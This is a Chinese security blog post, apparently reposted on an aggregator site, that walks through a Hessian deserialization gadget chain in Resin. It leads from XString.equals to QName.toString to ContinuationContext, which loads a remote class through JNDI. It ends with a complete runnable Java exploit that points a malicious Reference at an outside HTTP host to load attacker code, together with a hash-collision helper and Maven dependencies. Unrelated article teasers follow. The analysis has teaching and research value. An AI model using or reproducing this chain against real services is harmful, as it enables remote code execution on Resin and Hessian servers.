【Web】浅聊Hessian反序列化之Resin的打法——远程类加载

目录

前言

原理分析

XString:触发恶意类toString

QName的设计理念?

远程恶意类加载Context:ContinuationContext

QName:恶意toString利用

hash相等构造

EXP


前言

精神状态有点糟糕,随便学一下吧

首先明确一个朴素的认知:当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。

对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。

关于远程类加载,C3P0打URLClassLoader和本条链十分相像,感兴趣的师傅可以看一下:

【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

原理分析

XString:触发恶意类toString

当XString#equals参数为Object时,方法逻辑如下

  public boolean equals(Object obj2){if (null == obj2)return false;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.else if (obj2 instanceof XNodeSet)return obj2.equals(this);else if(obj2 instanceof XNumber)return obj2.equals(this);elsereturn str().equals(obj2.toString());}

最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString

当obj2为精心构造的QName时,也就有了下面的故事

QName的设计理念?

在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString

在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知

QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称

先从QName的构造函数开始看吧

public QName(Context context, String first, String rest) {this._context = context;if (first != null) {this._items.add(first);}if (rest != null) {this._items.add(rest);}}

根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。

Context为何?

看一下Context接口的描述

该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。

OKOK点到为止

远程恶意类加载Context:ContinuationContext

其构造方法接受一个CannotProceedException和Hashtable

CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。

而处理的关键则在Reference

我们要通过对cpe的精心构造来触发后续利用

构造如下:

        String refAddr = "http://124.222.136.33:1337/";String refClassName = "calc";Reference ref = new Reference(refClassName, refClassName, refAddr);Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();String classname = "javax.naming.NamingException";setFiled(classname, cannotProceedException, "resolvedObj", ref);

至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述

先对照Reference构造方法看一看

再扔出两条调用链,细品

cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase

QName:恶意toString利用

再看QName#toString

通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:

  • 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
  • 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
  • 如果name为null,直接将当前元素的字符串表示赋值给name。

我们这里令_context为ContinuationContext

跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)

 跟进ContinuationContext#getTargetContext

为了进到NamingManager.getContext我们需要满足下面两个条件

contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null

跟进NamingManager.getContext

顾名思义,猜测其就是对恶意Reference进行一个实例化

机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”

public static ObjectgetObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment)throws Exception
{// Use reference if possibleReference ref = null;if (refInfo instanceof Reference) {ref = (Reference) refInfo;} else if (refInfo instanceof Referenceable) {ref = ((Referenceable)(refInfo)).getReference();}Object answer;if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusively// 关键点factory = getObjectFactoryFromReference(ref, f);// ....}// ...
}

其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法

首先试图通过当前上下文类加载器加载,这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的,显然会找不到我们指定的类,再从Reference获取codebase(CannotProceedException的作用也就在这体现了,开发者的巧思)

接下来去codebase加载calc类

 stepinto,发现就是用URLClassLoader来加载远程类

 跟进loadClass

 最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化

hash相等构造

HashMap#put中有着下述逻辑

调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null

后两者是好解决的,主要问题在hash相等构造上

关注XString的hashCode方法

跟进str()

即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数 

我们只要让m_obj的hash值等于QName的hash值就可

现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj

详细的逆操作算法我没太搞明白,就先当工具用吧(

 public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}}

 hash相等构造利用

QName qName = new QName(continuationContext, "foo", "bar");String str = unhash(qName.hashCode());

EXP

pom依赖

 <dependencies><dependency><groupId>com.caucho</groupId><artifactId>resin</artifactId><version>4.0.63</version></dependency><dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency></dependencies>

召唤计算器的神奇咒语

package com.Resin;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;public class Resin {public static void main(String[] args) throws Exception {String refAddr = "http://124.222.136.33:1337/";String refClassName = "calc";Reference ref = new Reference(refClassName, refClassName, refAddr);Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();String classname = "javax.naming.NamingException";setFiled(classname, cannotProceedException, "resolvedObj", ref);// 创建ContinuationContext对象Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);// 构造方法为protected修饰constructor.setAccessible(true);Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());// 创建QNameQName qName = new QName(continuationContext, "foo", "bar");String str = unhash(qName.hashCode());// 创建XtringXString xString = new XString(str);// 创建HashMapHashMap hashMap = new HashMap();hashMap.put(qName, "111");hashMap.put(xString, "222");// 序列化FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);SerializerFactory serializerFactory = new SerializerFactory();serializerFactory.setAllowNonSerializable(true);hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(hashMap);hessian2Output.close();// 反序列化FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);HashMap o = (HashMap) hessian2Input.readObject();}public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {Class<?> aClass = Class.forName(classname);Field field = aClass.getDeclaredField(fieldname);field.setAccessible(true);field.set(o, value);}public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/279431.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ARM开发板实现24位BMP图片缩放

ARM开发板实现24位BMP图片缩放 一、linux平台bmp图片缩放 最近想在ARM开发板实现BMP图片的缩放&#xff0c;查看了一些资料&#xff0c;大家部分理论知识可参考&#xff1a; akynazh博主 &#xff0c;这位博主程序以window平台为主进行显示&#xff0c;发现在linux平台下编译…

云手机在海外电商中的应用优势

随着海外市场的不断拓展&#xff0c;电商行业对于高效、安全的工具需求日益增长。在这一背景下&#xff0c;云手机作为一种新型服务&#xff0c;为海外电商提供了强大的支持和便利。云手机对传统物理手机起到了非常好的延展和补充作用&#xff0c;拓展了更广泛的应用场景&#…

【滑动窗口、矩阵】算法例题

目录 三、滑动窗口 30. 长度最小的子数组 ② 31. 无重复字符的最长子串 ② 32. 串联所有单词的子串 ③ 33. 最小覆盖子串 ③ 四、矩阵 34. 有效的数独 ② 35. 螺旋矩阵 ② 36. 旋转图像 ② 37. 矩阵置零 ② 38. 生命游戏 ② 三、滑动窗口 30. 长度最小的子数组 ② 给…

备战蓝桥杯---牛客寒假训练营2VP

题挺好的&#xff0c;收获了许多 1.暴力枚举&#xff08;许多巧妙地处理细节方法&#xff09; n是1--9,于是我们可以直接暴力&#xff0c;对于1注意特判开头0但N&#xff01;1&#xff0c;对于情报4&#xff0c;我们可以把a,b,c,d的所有取值枚举一遍&#xff0c;那么如何判断有…

低功耗设计

前面已经介绍过低功耗相关概念【IC】低功耗设计理论知识&#xff0c;这里主要分享下RTL级的常用低功耗设计&#xff0c;欢迎讨论交流。 一、时钟门控clock gating 毫无疑问&#xff0c;时钟门控是前端设计中最有效的低功耗设计。 时钟门控的基本思想是在寄存器不工作的时候&am…

NLP---Bert分词

目录&#xff1a; Q&#xff1a;bert分词步骤1&#xff1a;构建N * N 的相关性矩阵&#xff0c;计算相邻两个字的相关性&#xff0c;低的话&#xff08;<阈值&#xff09;就切割。2&#xff1a;将A词进行mask计算出A的embedding&#xff0c;然后将AB两个词一起mask&#xff…

微信小程序的配置文件使用说明:

在上一文中学习开发小程序的起航日记&#xff0c;我们准备好了开发小程序时所需的环境和准备工作&#xff0c;同时也简单的了解了一下小程序的项目结构组成。 这一章&#xff0c;我们主要对小程序的配置文件进行学习。 文章目录 小程序_配置文件1.json2.app.jsonpages 属性wind…

springboot283图书商城管理系统

图书商城管理系统 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本图书商城管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理…

【linux】Debian访问Debian上的共享目录

要在Debian系统上访问共享目录&#xff0c;通常意味着要访问通过网络共享的文件夹&#xff0c;比如通过SMB/CIFS&#xff08;Server Message Block/Common Internet File System&#xff09;协议共享的Windows共享文件夹。以下是访问共享目录的步骤&#xff1a; 1. 安装必要的…

MyBatis记录

目录 什么是MyBatis MyBatis的优点和缺点 #{}和${}的区别 Mybatis是如何进行分页的&#xff0c;分页插件的原理 Mybatis是如何将sql执行结果封装为目标对象并返回的 MyBatis实现一对一有几种方式 Mybatis设计模式 什么是MyBatis &#xff08;1&#xff09;Mybatis是一个…

[Qt学习笔记]QT下获取Halcon图形窗口鼠标事件并执行相应操作

目录 1、背景2、参考信息3、目标4、步骤4.1 Halcon库的配置4.2 读取图像&#xff0c;并实现图像自适应窗体控件大小4.3 主要的图形绘制和贴图操作见如下代码&#xff0c;其中重点为全局函数的创建来实现选择Select、拖拽Drag和尺寸Resize事件响应。 5、总结 1、背景 在视觉项目…

【SpringSecurity】十三、基于Session实现授权认证

文章目录 1、基于session的认证2、Demosession实现认证session实现授权 1、基于session的认证 流程&#xff1a; 用户认证成功后&#xff0c;服务端生成用户数据保存在session中服务端返回给客户端session id (sid&#xff09;&#xff0c;被客户端存到自己的cookie中客户端下…

k8s详细教程

Kubernetes详细教程 1. Kubernetes介绍 1.1 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个时代&#xff1a; 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其它技术的参与 缺点…

4.线性数据结构——3.栈及例题

标准库的栈 定义&#xff1a;stack<typename> myStack;大小&#xff1a;size()压栈&#xff1a;push()弹栈&#xff1a;pop()栈顶&#xff1a;top()判空&#xff1a;empty() #include <cstdio> #include <string> #include <map> #include <algor…

HarmonyOS NEXT应用开发之搜索页一镜到底案例

介绍 本示例介绍使用bindContentCover、transition、animateTo实现一镜到底转场动画&#xff0c;常用于首页搜索框点击进入搜索页场景。 效果图预览 使用说明 点击首页搜索框跳转到搜索页面显式一镜到底转场动画 实现思路 通过点击首页搜索框改变bindContentCover全屏模态…

大数据面试题 —— HBase

目录 什么是HBase简述HBase 的数据模型HBase 的读写流程HBase 在写的过程中的region的split的时机HBase 和 HDFS 各自的使用场景HBase 的存储结构HBase 中的热现象&#xff08;数据倾斜&#xff09;是怎么产生的&#xff0c;以及解决办法有哪些HBase rowkey的设计原则HBase 的列…

[Qt学习笔记]QGraphicsView实现背景的绘制和前景图像的绘制

1、介绍 Qt中使用QGraphicsScene重写drawBackGround绘制背景&#xff0c;就是使用自定义的Scene类来重写drawBackGround的函数来重新绘制背景&#xff0c;这里需要注意的是自定义的Scene类要继承QGraphicsScene类&#xff0c;因为drawBackGround是一个虚函数&#xff0c;相当于…

【鸿蒙系统】 ---Harmony 鸿蒙编译构建指导(一)

&#x1f48c; 所属专栏&#xff1a;【鸿蒙系统】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢…

【python】爬取杭州市二手房销售数据做数据分析【附源码】

一、背景 在数据分析和市场调研中&#xff0c;获取房地产数据是至关重要的一环。本文介绍了如何利用 Python 中的 requests、lxml 库以及 pandas 库&#xff0c;结合 XPath 解析网页信息&#xff0c;实现对链家网二手房销售数据的爬取&#xff0c;并将数据导出为 Excel 文件的过…

服务器端(Debian 12)配置jupyter与R 语言的融合

融合前&#xff1a; 服务器端Debian 12,域名&#xff1a;www.leyuxy.online 1.安装r-base #apt install r-base 2.进入R并安装IRkernel #R >install.packages(“IRkernel”) 3.通过jupyter notebook的Terminal执行&#xff1a; R >IRkernel::installspec() 报错 解决办…